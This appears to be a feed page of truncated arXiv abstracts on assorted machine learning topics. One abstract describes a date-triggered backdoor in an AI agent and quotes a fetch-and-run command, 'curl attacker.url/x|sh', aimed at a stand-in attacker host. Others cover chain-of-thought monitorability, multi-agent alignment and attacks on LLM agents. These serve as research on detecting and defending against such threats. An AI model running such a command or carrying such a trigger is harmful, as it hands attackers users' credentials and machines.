arXiv:2611.17820v1 Announce Type: new Abstract: Previous work has shown that alignment training on individual LLM agents can fail to transfer to multi-agent settings. We investigate the underlying mechanisms for this failure, and explore interventions to preserve alignment trans…
⏱ Độ trễ thật của tab này: trung bình 7.3 giờ sau khi CVE được công bố (n = 5338, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.
arXiv:2508.00910v3 Announce Type: replace Abstract: Large Language Models (LLMs) have achieved remarkable success in software engineering tasks when trained with executable runtime environments, particularly in resolving GitHub issues. However, such runtime environments are ofte…
arXiv:2611.17790v1 Announce Type: new Abstract: Recursive self-improvement (RSI) is one of the most promising paths toward an AI singularity for superintelligence. Achieving this vision requires AI systems to undertake the full training pipeline for iterative improvement. Reinfo…
arXiv:2611.17341v1 Announce Type: new Abstract: Medication prediction from electronic health records is a fixed vocabulary structured prediction problem, yet recent clinical RAG systems often treat it like open ended case based reasoning: retrieve similar patient admissions and …
Previous work has shown that alignment training on individual LLM agents can fail to transfer to multi-agent settings. We investigate the underlying mechanisms for this failure, and explore interventions to preserve alignment transfer to multi-agent LLM teams. We focus on two sof…
Large language models (LLMs) are increasingly applied to finance, creating a need for benchmarks that evaluate their capabilities across financial systems with different regulations and practices. However, existing financial benchmarks provide limited coverage of country-specific…
arXiv:2611.10411v1 Announce Type: new Abstract: LLM-based agents extend LLMs with tool calls, memory, planning, and retrieval to act in external environments, but they are vulnerable to attacks at different workflow steps. Existing defenses, including prompt engineering and post…
arXiv:2611.17793v1 Announce Type: new Abstract: The performance of offline Multi-Agent Reinforcement Learning (MARL) is limited by the quality of the fixed offline dataset, motivating trajectory augmentation. However, augmenting multi-agent trajectories presents a fundamental ch…
arXiv:2611.17395v1 Announce Type: new Abstract: Recent advances in weight-space programming (WSP) have demonstrated that large language models (LLMs) can directly inspect and modify neural network weights without conventional gradient-based training. While this capability opens …
arXiv:2611.17621v1 Announce Type: new Abstract: Kernel optimization is essential for efficient large language model (LLM) training and inference on Ascend NPUs. Existing Ascend kernel benchmarks primarily focus on kernel generation, with less emphasis on the ability of agents to…
arXiv:2611.11399v1 Announce Type: new Abstract: Large Language Models (LLMs) present significant challenges to source tracing of generated code, as LLM rewriting can substantially alter the syntactic and structural characteristics of watermarked code. However, existing watermark…
The release of GPT-6 Astra marks the emergence of a new paradigm in robotics: agentic robotics. Within weeks, frontier models with agentic harnesses matched or exceeded task-specific policies on many embodied benchmarks. Instead of training a dedicated policy for each family of t…
We introduce Gamer, a generalist agent framework built for long-horizon tasks in complex interactive environments. Its end-to-end architecture combines perception, memory management, and multi-step reasoning. A shared training and deployment pipeline supports interaction with bot…
arXiv:2508.18370v3 Announce Type: replace-cross Abstract: Large language models (LLMs) have demonstrated exceptional capabilities when trained within executable runtime environments, notably excelling at software engineering tasks through verified feedback loops. Yet, scalable a…
Video generation models produce visually realistic videos but still struggle with physical dynamics and causal consistency. Learning from generated videos requires fine-grained physical supervision, yet reliable quality judgments, correction pairs, and controlled variations are d…
arXiv:2611.14889v1 Announce Type: new Abstract: When we judge that our reasoning was defective, it seems plausible that we should abandon the conclusion it produced. This thought has special force for AI agents built to assess and correct their own work. Yet obeying such judgmen…
arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…
arXiv:2611.17814v1 Announce Type: new Abstract: With the rapid advancement of Large Language Models (LLMs), an increasing number of users are turning to LLM-powered agents for conversational shopping in e-commerce. However, the user needs continue to change as new product catego…
Frontier video generation models work in a VAE latent space that compresses video in both space and time. This compression made training tractable, but now limits high-resolution, controllable, and interactive generation -- doubling resolution quadruples token count, conditions a…
arXiv:2611.17340v1 Announce Type: new Abstract: Large language models are expensive to update through full retraining. Parameter-efficient fine-tuning reduces the cost of adaptation, but repeated adaptation creates a growing pool of task-specific LoRA adapters. This pool complic…
arXiv:2611.17495v1 Announce Type: new Abstract: Chain-of-thought (CoT) is currently a valuable tool for overseeing AI models, but some architectural shifts could significantly reduce CoT monitorability. We operationalize a measure that serves as a proxy for the amount of unverba…
arXiv:2611.17524v1 Announce Type: new Abstract: A small labelled dataset is memorized long before the training budget runs out, and the one-hot labels that remain to be fitted then mostly sharpen confidence. Model annealing spends the rest of the budget on review and consolidati…
arXiv:2611.17728v1 Announce Type: new Abstract: Model merging constructs multi-task models without expensive joint training but often suffers from parameter interference. Some solutions mitigate this by constraining finetuning using data from the other tasks to be merged, violat…
arXiv:2611.17684v1 Announce Type: cross Abstract: Adversarial training is a common technique for making neural networks more robust to small, intentionally crafted input perturbations, and robustness is commonly measured through accuracy under attack. By exploring inter-network …
arXiv:2611.18363v1 Announce Type: cross Abstract: We explore the adaptability of neural image watermarking models; the extent to which one watermarking method can be transformed into another through lightweight adaptation. We introduce a framework that enables encoder-decoder wa…
arXiv:2611.15178v1 Announce Type: new Abstract: Reinforcement learning sharpens LLM reasoning, but parameter updates are expensive, forgetful, and opaque; training-free libraries swap gradients for a textual store but still use trajectory-level, correlation-based admission and f…
arXiv:2611.15238v1 Announce Type: new Abstract: Discrete diffusion generation is emerging as a competitive alternative to autoregressive generation by denoising the entire token sequence through iterative refinement. Its global planning and progressive correction capabilities ar…
arXiv:2611.15013v1 Announce Type: new Abstract: Machine unlearning lets the owner of large language models (LLMs) remove specific entities from a trained model without retraining from scratch. Existing machine unlearning methods focus on removing the requested entities while mai…
arXiv:2611.12950v1 Announce Type: new Abstract: Black-box LLM fingerprinting aims to determine whether a target model was derived from a source model when only the output responses to input queries are observable. One way to reveal this relationship is to perturb each query and …
arXiv:2611.14227v1 Announce Type: new Abstract: Cybersecurity training and classroom exercises with a virtual Security Operations Center (SOC) combine alerts, evidence, timeline entries, learner tasks, and assessment items that must remain consistent across an evolving incident.…
arXiv:2611.10193v1 Announce Type: new Abstract: Large language models (LLMs) increasingly support Web-based services that must balance response quality and inference cost across heterogeneous requests. Conventional routing selects one model per prompt, while fixed ensembles cann…
arXiv:2611.10045v1 Announce Type: new Abstract: AI sycophancy, the tendency of large language models (LLMs) to flatter users and affirm their beliefs, can undermine accuracy and contribute to misinformation, dependence, and overconfidence. Although prior work has benchmarked syc…
arXiv:2611.10165v1 Announce Type: new Abstract: Existing LLM post-training quantization techniques determine precision before inference begins, yet the precision a model requires varies dynamically across prompts, layers, and inference phases. We present AutoEMatic, a full-stack…
arXiv:2611.10399v1 Announce Type: new Abstract: Big techs and researchers increasingly claim that their training datasets are too large to inspect for bias and ethical problems. However, in the race to build ever-large models, they have relied on automated web scraping and no hu…
Speculative decoding accelerates generation by letting a lightweight drafter propose tokens for parallel verification by a target model. Diffusion drafters such as DFlash propose an entire token block in a single forward pass, but mainly focus on text-only tasks, leaving multimod…
Meetings last up to an hour, and nobody knows in advance how many people will speak. Neural diarizers with a fixed number of output slots, such as Streaming Sortformer and Nemotron-3, are accurate and run online, but they cannot name more speakers than they have slots. We remove …
arXiv:2611.14804v1 Announce Type: new Abstract: Costly simulations and experiments limit the data available for engineering design. This paper proposes GenPFN, a training-free candidate generator guided by a pretrained tabular Prior-Data Fitted Network (TabPFN) classifier with f…
arXiv:2611.14850v1 Announce Type: new Abstract: Forward-KL language-model distillation normally computes dense teacher and student scores over the full vocabulary at every supervised position, making training and stored teacher targets expensive. We instead distill from the teac…
arXiv:2611.14942v1 Announce Type: new Abstract: Does multimodal training shape how a language model thinks, even when the input is text only? We test this with targeted causal ablations across 10 multimodal configurations from 6 model families, with matched text-only backbones a…
arXiv:2611.15091v1 Announce Type: new Abstract: We present a GPU-CPU hybrid framework for Weighted Partial MaxSAT (WPMAX-SAT) that complements state-of-the-art CPU solvers with differentiable GPU optimization. The GPU stage directly optimizes instance-specific categorical decisi…